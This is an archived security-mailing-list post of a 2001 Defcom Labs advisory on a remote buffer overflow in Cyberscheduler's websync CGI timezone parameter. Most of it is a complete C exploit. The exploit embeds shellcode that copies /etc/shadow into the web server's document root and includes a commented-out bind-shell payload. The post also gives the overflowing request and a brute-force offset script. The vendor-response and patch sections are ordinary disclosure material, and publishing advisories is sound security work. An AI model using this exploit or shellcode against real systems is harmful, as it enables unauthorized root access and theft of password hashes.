Cyberscheduler remote root compromise

From: Enrique A. Sanchez Montellano (enrique.sanchezat_private)
Date: Wed Apr 18 2001 - 00:39:09 PDT

  • Next message: Crono: "Re: QPC FTPd Directory Traversal and BoF Vulnerabilities"

    ======================================================================
                     Defcom Labs Advisory def-2000-18
    
                Cyberscheduler remote root/execution compromise
    
    Author: Enrique A. Sanchez Montellano <enrique.sanchezat_private>
    Release Date: 2001-04-17
    ======================================================================
    ------------------------=[Brief Description]=-------------------------
    Due to no bounds checking in the condition of the timetzone variable
    in the login verification in the cyberscheduler paackage a buffer
    overflow occurs, thus rendering execution on the remote machine.
    
    ------------------------=[Affected Systems]=--------------------------
    Linux: Mandrake, RedHat, Slackware, Caldera, Suse, Debian.
    Windows: NT, 2000 (IIS 4.0 and 5.0).
    Solaris: 2.5, 2.6, 7, 8.
    
    ----------------------=[Detailed Description]=------------------------
    Due to an assumption in the size of the variable passed as timezone
    in the login procedure of the cybercalendar cyberscheduler it occurs
    a buffer overflow that renders the complete stack.
    
    The size of the variable, wich is 262 bytes, makes the assumption that
    the size of the timezone will not change, while mapping the login the
    deamon websyncd tries to set the variable timezone and then the overflow
    occurs, there is no need to have a working username in the machine
    the buffer overflow occurs before the username is set.
    
    The offending command is:
    
    /cgi-bin/websync.exe?ed=&Es=7x1x101&un=nahual&hn=lab&rpt=/scheduler/
    En_US/WebResources&cbn=/cgi-bin/websync.exe&dow=sun&dmy=Off&tfh=Off
    &lan=En_US&ix=0&amd=2&epw=WiXwWFp&mrd=-1&mrc=0&mrb=0&bnv=9&ds=7x1x101
    &tzs=PST8PDT
    
    If the variable tzs is increased to over 300 the program crashes thus
    rendering the stack completly to the intruder.
    
    A proof of concept exploit has been coded and is being released to test
    is your system is vulnerable.
    
    --- x-cybershcehd.c ---
    /* PRIVATE -- DO NOT DISTRIBUTE!!
      x-cybershed.c
    
      TimeZONE buffer overflow on cgi script rendering complete control of
    the stack.
    
      Enrique A. Sanchez Montellano
      enrique.sanchezat_private
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/wait.h>
    #include <sys/stat.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <fcntl.h>
    #include <time.h>
    #include <wait.h>
    #include <errno.h>
    
    #define OFFSET       0
    #define ALIGN        0
    #define BUFFER       264
    
    /* Definicion de colores */
    
    #define VERDE   "\E[32m"
    #define BRILLOSO   "\E[1m"
    #define NORMAL  "\E[m"
    #define ROJO  "\E[31m"
    #define CELESTE "\E[36m"
    #define AZUL "\E[34m"
    #define AMARILLO "\E[33m"
    #define MORADO "\E[35m"
    
    //passive port 0x8000 shell (written by agent0nd)
    //static char Hellcode[]=
    //"\xeb\x4b\x5f\x87\xfe\x29\xc0\x29\xdb\x40\x89\x46\x04\x40\x89\x06\xb0\x06\x89"
    //"\x46\x08\xb0\x66\x43\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x80"
    //"\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x29\xc0\x89\x46\x10\xb0\x10\x89\x46"
    //"\x08\xb0\x66\x43\xcd\x80\x29\xc0\x40\x89\x46\x04\xb3\x04\xb0\x66\xcd\x80\xeb"
    //"\x02\xeb\x4c\x29\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\x43\xcd\x80\x88\xc3\x29"
    //"\xc9\xb0\x3f\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb8\x2e\x62\x69"
    //"\x6e\x40\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89"
    //"\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x29\xc0"
    //"\x40\xcd\x80\xe8\x62\xff\xff\xff";
    
    /* cp /etc/shadow /var/lib/httpd/htdocs */
    static char Hellcode[]=
    "\xeb\x3a\x5f\x31\xc0\x89\xfa\x89\x57\x64\x80\xc2\x36\x89\x57\x68\x80\xc2\x33\x80\xea\x30\x89\x57\x6c\x89\x47\x70\x88\x47\x25\x88\x47\x38\x88\x47\x62\xb0\x73\x2c\x53\x88\x47\x40\x88\x47\x4c\xb0\x6c\x2c\x61\x89\xfb\x8d\x4f\x64\x31\xd2\xcd\x80\xe8\xc1\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x2e\x2e\x2f\x73\x62\x69\x6e\x2f\x2e\x2e\x2f\x62\x69\x6e\x2f\x2e\x2e\x2f\x62\x69\x6e\x2f\x2e\x2e\x2f\x62\x69\x6e\x2f\x73\x68XAGENT.OND.DEFCOM\x2d\x63\x58\x2f\x62\x69\x6e\x2f\x63\x70\x58\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x58\x2f\x76\x61\x72\x2f\x6c\x69\x62\x2f\x68\x74\x74\x70\x64\x2f\x68\x74\x64\x6f\x63\x73";
    
    unsigned long resolver (char *serv) {
      struct sockaddr_in sinn;
      struct hostent *hent;
    
      hent = gethostbyname (serv);
      bzero ((char *) &sinn, sizeof (sinn));
      memcpy ((char *) &sinn.sin_addr, hent->h_addr, hent->h_length);
      return sinn.sin_addr.s_addr;
    
    }
    
    unsigned long get_sp(void) {
      __asm__("movl %esp, %eax");
    }
    
    void usage(char *name) {
      printf("Usage:\n");
      printf("%s <victim> <offset> <align> <buffer> \n\n", name);
    }
    
    int connex(u_long victim) {
      int sockfd;
      struct sockaddr_in hostaddr;
    
      if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
       perror("connex");
       exit(-1);
      }
    
      hostaddr.sin_port = htons(80);
      hostaddr.sin_addr.s_addr = victim;
      hostaddr.sin_family = AF_INET;
    
      if((connect(sockfd, (struct sockaddr *) &hostaddr, sizeof(hostaddr)))
    < 0 ) {
       perror("connex");
       exit(-1);
      }
    
       return sockfd;
    }
    
    int ataque(int victim, char *command) {
      int sockfd, retval, i;
      char tmp[256];
      fd_set rfds;
      struct timeval timer;
      char part1[1024] =
    "/cgi-bin/websync.cgi?ed=&Es=7x1x101&un=Defcom&hn=lab&rpt=/cybersched/En_US/WebResources&cbn=/cgi-bin/websync.cgi&dow=sun&dmy=Off&tfh=Off&lan=En_US&ix=0&amd=2&epw=WXxiAkS&mrd=-1&mrc=0&mrb=0&bnv=9&ds=7x1x101&tzs=";
      char fancy[] = "Host: 127.0.0.1\nConnection: Keep-Alive\nUser-Agent:
    Defcom Labs @ Spain version 0.1\nContent-type:
    aplication/x-www-form-urlencoded\n";
    
      sockfd = connex(victim);
    
      FD_ZERO(&rfds);
      FD_SET(sockfd, &rfds);
      timer.tv_sec = 5;
      timer.tv_usec = 0;
    
      retval = select(sockfd + 1, NULL, &rfds, NULL, &timer);
    
      if(retval) {
       printf("%s[ + ] Atacking the server ... \n%s", VERDE, NORMAL);
       write(sockfd, "GET ", strlen("GET "));
       write(sockfd, part1, strlen(part1));
       write(sockfd, command, strlen(command));
       write(sockfd, "\n", strlen("\n"));
       // Fancy stuff ... LoL!
       write(sockfd, fancy, strlen(fancy));
       write(sockfd, "\n\n", strlen("\n\n"));
       for(i = 0; i < 256; i++) {
         tmp[i] = '\0';
       }
       read(sockfd, tmp, sizeof(tmp));
      }
      else {
       printf("%sTime out!!!!!\n%s", ROJO, NORMAL);
       exit(-1);
      }
    
    }
    
    int main(int argc, char **argv) {
      int offset = OFFSET;
      int align = ALIGN;
      int buffer = BUFFER;
      struct hostent *hent;
      char *command;
      unsigned long addr;
      int i, victim;
    
      if(argc < 2) {
       usage(argv[0]);
       exit(0);
      }
    
      if(argc > 2) offset = atoi(argv[2]);
      if(argc > 3) align = atoi(argv[3]);
      if(argc > 4) buffer = atoi(argv[4]);
    
      if((hent = gethostbyname(argv[1])) == NULL) {
       perror("x-cybersched");
       exit(1);
      }
    
      printf("%sX-Cybersched\n", AZUL);
      printf("------------------------------------\n");
      printf("Remote exploit .... by\n");
      printf("Enrique Sanchez (enrique.sanchezat_private)\n%s", NORMAL);
    
    #ifdef DEBUG
      printf("%s[ + DEBUG + ] Buffer is %d\n%s", AMARILLO,  buffer, NORMAL);
      printf("%s[ + DEBUG + ] The size of the shellcode is %d\n%s",
    AMARILLO, strlen(Hellcode), NORMAL);
    #endif
    
      addr = 0xbfffffff - offset;
      command = (char *)malloc(buffer);
    
      printf("%s[ + ] Using addres: 0x%x\n%s", VERDE, addr, NORMAL);
    
    #ifdef DEBUG
      printf("%s[ + DEBUG + ] Command right now is: %s\n\n%s", AMARILLO,
    command, NORMAL);
    #endif
    
      printf("%s[ + ] Filling buffer for exploitation ... \n%s", VERDE, NORMAL);
    
      for(i = 0; i < buffer; i += 4) {
       *(long *)&command[i] = 0x90909090;
      }
      *(long *)&command[buffer - 4] = addr;
    
    #ifdef DEBUG
      printf("%s[ + DEBUG + ] Command right now is: %s\n\n%s", AMARILLO,
    command, NORMAL);
    #endif
    
      memcpy(command + buffer - strlen(Hellcode) - 4, Hellcode,
    strlen(Hellcode));
    
    #ifdef DEBUG
      printf("%s[ + DEBUG + ] Command right now is: %s\n\n%s", AMARILLO,
    command, NORMAL);
    #endif
    
      ataque(resolver(argv[1]), command);
    
      return 0;
    }
    
    --- x-cybdersched.c ---
    
    --- brute.sh ---
    #!/bin/ksh
    L=2000
    O=40
    while [ $L -lt 12000 ]
    do
    echo $L
    L=`expr $L + 1`
    ./x-cybershed 127.0.0.1 $L
    done
    --- brute.sh ---
    
    ---------------------------=[Workaround]=-----------------------------
    Crosswind has developed a patch wich is available at their site.
    
    -------------------------=[Vendor Response]=--------------------------
    This problem was brought to crosswinds attention on february 15th
    2001. They have worked fastly on the problem and have responded in a
    very professional and excelent manner, thank you for your fast and
    professional responses.
    
    ======================================================================
            This release was brought to you by Defcom Labs @ Spain
    
                 labsat_private             www.defcom.com
    ======================================================================
    



    This archive was generated by hypermail 2b30 : Wed Apr 18 2001 - 10:11:43 PDT